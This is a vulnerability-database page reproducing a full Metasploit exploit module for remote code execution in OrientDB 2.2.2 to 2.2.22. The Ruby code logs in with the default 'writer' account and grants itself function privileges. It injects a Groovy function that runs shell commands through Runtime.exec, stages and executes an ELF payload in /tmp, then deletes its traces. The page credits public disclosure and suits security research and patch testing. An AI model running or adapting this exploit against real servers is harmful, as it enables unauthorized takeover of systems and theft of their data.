Lucene search
K

OrientDB 2.2.x Remote Code Execution

🗓️ 07 Oct 2017 00:00:00Reported by Ricardo Jorge Borges de AlmeidaType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 61 Views

OrientDB 2.2.x Remote Code Execution vulnerability allows unsandboxed OS command execution

Code
`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = GoodRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'OrientDB 2.2.x Remote Code Execution',  
'Description' => %q{  
This module leverages a privilege escalation on OrientDB to execute unsandboxed OS commands.  
All versions from 2.2.2 up to 2.2.22 should be vulnerable.  
},  
'Author' =>  
[  
'Francis Alexander - Beyond Security\'s SecuriTeam Secure Disclosure program', # Public PoC  
'Ricardo Jorge Borges de Almeida ricardojba1[at]gmail.com', # Metasploit Module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['URL', 'https://blogs.securiteam.com/index.php/archives/3318'],  
['URL', 'http://www.palada.net/index.php/2017/07/13/news-2112/'],  
['URL', 'https://github.com/orientechnologies/orientdb/wiki/OrientDB-2.2-Release-Notes#2223---july-11-2017']  
],  
'Platform' => %w{ linux unix win },  
'Privileged' => false,  
'Targets' =>  
[  
['Linux', {'Arch' => ARCH_X86, 'Platform' => 'linux' }],  
['Unix CMD', {'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Payload' => {'BadChars' => "\x22"}}],  
['Windows', {'Arch' => ARCH_X86, 'Platform' => 'win', 'CmdStagerFlavor' => ['vbs','certutil']}]  
],  
'DisclosureDate' => 'Jul 13 2017',  
'DefaultTarget' => 0))  
  
register_options(  
[  
Opt::RPORT(2480),  
OptString.new('USERNAME', [ true, 'HTTP Basic Auth User', 'writer' ]),  
OptString.new('PASSWORD', [ true, 'HTTP Basic Auth Password', 'writer' ]),  
OptString.new('TARGETURI', [ true, 'The path to the OrientDB application', '/' ])  
])  
end  
  
def check  
uri = target_uri  
uri.path = normalize_uri(uri.path)  
res = send_request_raw({'uri' => "#{uri.path}listDatabases"})  
if res and res.code == 200 and res.headers['Server'] =~ /OrientDB Server v\.2\.2\./  
print_good("Version: #{res.headers['Server']}")  
return Exploit::CheckCode::Vulnerable  
else  
print_status("Version: #{res.headers['Server']}")  
return Exploit::CheckCode::Safe  
end  
end  
  
def http_send_command(cmd, opts = {})  
# 1 -Create the malicious function  
func_name = Rex::Text::rand_text_alpha(5).downcase  
request_parameters = {  
'method' => 'POST',  
'uri' => normalize_uri(@uri.path, "/document/#{opts}/-1:-1"),  
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),  
'headers' => { 'Accept' => '*/*', 'Content-Type' => 'application/json;charset=UTF-8' },  
'data' => "{\"@class\":\"ofunction\",\"@version\":0,\"@rid\":\"#-1:-1\",\"idempotent\":null,\"name\":\"#{func_name}\",\"language\":\"groovy\",\"code\":\"#{java_craft_runtime_exec(cmd)}\",\"parameters\":null}"  
}  
res = send_request_raw(request_parameters)  
if not (res and res.code == 201)  
begin  
json_body = JSON.parse(res.body)  
rescue JSON::ParserError  
fail_with(Failure::Unknown, 'Failed to create the malicious function.')  
return  
end  
end  
# 2 - Trigger the malicious function  
request_parameters = {  
'method' => 'POST',  
'uri' => normalize_uri(@uri.path, "/function/#{opts}/#{func_name}"),  
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),  
'headers' => { 'Accept' => '*/*', 'Content-Type' => 'application/json;charset=UTF-8' },  
'data' => ""  
}  
req = send_request_raw(request_parameters)  
if not (req and req.code == 200)  
begin  
json_body = JSON.parse(res.body)  
rescue JSON::ParserError  
fail_with(Failure::Unknown, 'Failed to trigger the malicious function.')  
return  
end  
end  
# 3 - Get the malicious function id  
if res && res.body.length > 0  
begin  
json_body = JSON.parse(res.body)["@rid"]  
rescue JSON::ParserError  
fail_with(Failure::Unknown, 'Failed to obtain the malicious function id for deletion.')  
return  
end  
end  
func_id = json_body.slice(1..-1)  
# 4 - Delete the malicious function  
request_parameters = {  
'method' => 'DELETE',  
'uri' => normalize_uri(@uri.path, "/document/#{opts}/#{func_id}"),  
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),  
'headers' => { 'Accept' => '*/*' },  
'data' => ""  
}  
rer = send_request_raw(request_parameters)  
if not (rer and rer.code == 204)  
begin  
json_body = JSON.parse(res.body)  
rescue JSON::ParserError  
fail_with(Failure::Unknown, 'Failed to delete the malicious function.')  
return  
end  
end  
end  
  
def java_craft_runtime_exec(cmd)  
decoder = Rex::Text.rand_text_alpha(5, 8)  
decoded_bytes = Rex::Text.rand_text_alpha(5, 8)  
cmd_array = Rex::Text.rand_text_alpha(5, 8)  
jcode = "sun.misc.BASE64Decoder #{decoder} = new sun.misc.BASE64Decoder();\n"  
jcode << "byte[] #{decoded_bytes} = #{decoder}.decodeBuffer(\"#{Rex::Text.encode_base64(cmd)}\");\n"  
jcode << "String [] #{cmd_array} = new String[3];\n"  
if target['Platform'] == 'win'  
jcode << "#{cmd_array}[0] = \"cmd.exe\";\n"  
jcode << "#{cmd_array}[1] = \"/c\";\n"  
else  
jcode << "#{cmd_array}[0] = \"/bin/sh\";\n"  
jcode << "#{cmd_array}[1] = \"-c\";\n"  
end  
jcode << "#{cmd_array}[2] = new String(#{decoded_bytes}, \"UTF-8\");\n"  
jcode << "Runtime.getRuntime().exec(#{cmd_array});\n"  
jcode  
end  
  
def on_new_session(client)  
if not @to_delete.nil?  
print_warning("Deleting #{@to_delete} payload file")  
execute_command("rm #{@to_delete}")  
end  
end  
  
def execute_command(cmd, opts = {})  
vprint_status("Attempting to execute: #{cmd}")  
@uri = target_uri  
@uri.path = normalize_uri(@uri.path)  
res = send_request_raw({'uri' => "#{@uri.path}listDatabases"})  
if res && res.code == 200 && res.body.length > 0  
begin  
json_body = JSON.parse(res.body)["databases"]  
rescue JSON::ParserError  
print_error("Unable to parse JSON")  
return  
end  
else  
print_error("Timeout or unexpected response...")  
return  
end  
targetdb = json_body[0]  
http_send_command(cmd,targetdb)  
end  
  
def linux_stager  
cmds = "echo LINE | tee FILE"  
exe = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)  
base64 = Rex::Text.encode_base64(exe)  
base64.gsub!(/\=/, "\\u003d")  
file = rand_text_alphanumeric(4+rand(4))  
execute_command("touch /tmp/#{file}.b64")  
cmds.gsub!(/FILE/, "/tmp/" + file + ".b64")  
base64.each_line do |line|  
line.chomp!  
cmd = cmds  
cmd.gsub!(/LINE/, line)  
execute_command(cmds)  
end  
execute_command("base64 -d /tmp/#{file}.b64|tee /tmp/#{file}")  
execute_command("chmod +x /tmp/#{file}")  
execute_command("rm /tmp/#{file}.b64")  
execute_command("/tmp/#{file}")  
@to_delete = "/tmp/#{file}"  
end  
  
def exploit  
@uri = target_uri  
@uri.path = normalize_uri(@uri.path)  
res = send_request_raw({'uri' => "#{@uri.path}listDatabases"})  
if res && res.code == 200 && res.body.length > 0  
begin  
json_body = JSON.parse(res.body)["databases"]  
rescue JSON::ParserError  
print_error("Unable to parse JSON")  
return  
end  
else  
print_error("Timeout or unexpected response...")  
return  
end  
targetdb = json_body[0]  
privs_enable = ['create','read','update','execute','delete']  
items = ['database.class.ouser','database.function','database.systemclusters']  
# Set the required DB permissions  
privs_enable.each do |priv|  
items.each do |item|  
request_parameters = {  
'method' => 'POST',  
'uri' => normalize_uri(@uri.path, "/command/#{targetdb}/sql/-/20"),  
'vars_get' => { 'format' => 'rid,type,version,class,graph' },  
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),  
'headers' => { 'Accept' => '*/*' },  
'data' => "GRANT #{priv} ON #{item} TO writer"  
}  
res = send_request_raw(request_parameters)  
end  
end  
# Exploit  
case target['Platform']  
when 'win'  
print_status("#{rhost}:#{rport} - Sending command stager...")  
execute_cmdstager(flavor: :vbs)  
when 'unix'  
print_status("#{rhost}:#{rport} - Sending payload...")  
res = http_send_command("#{payload.encoded}","#{targetdb}")  
when 'linux'  
print_status("#{rhost}:#{rport} - Sending Linux stager...")  
linux_stager  
end  
handler  
# Final Cleanup  
privs_enable.each do |priv|  
items.each do |item|  
request_parameters = {  
'method' => 'POST',  
'uri' => normalize_uri(@uri.path, "/command/#{targetdb}/sql/-/20"),  
'vars_get' => { 'format' => 'rid,type,version,class,graph' },  
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),  
'headers' => { 'Accept' => '*/*' },  
'data' => "REVOKE #{priv} ON #{item} FROM writer"  
}  
res = send_request_raw(request_parameters)  
end  
end  
end  
end  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

07 Oct 2017 00:00Current
0.1Low risk
Vulners AI Score0.1
61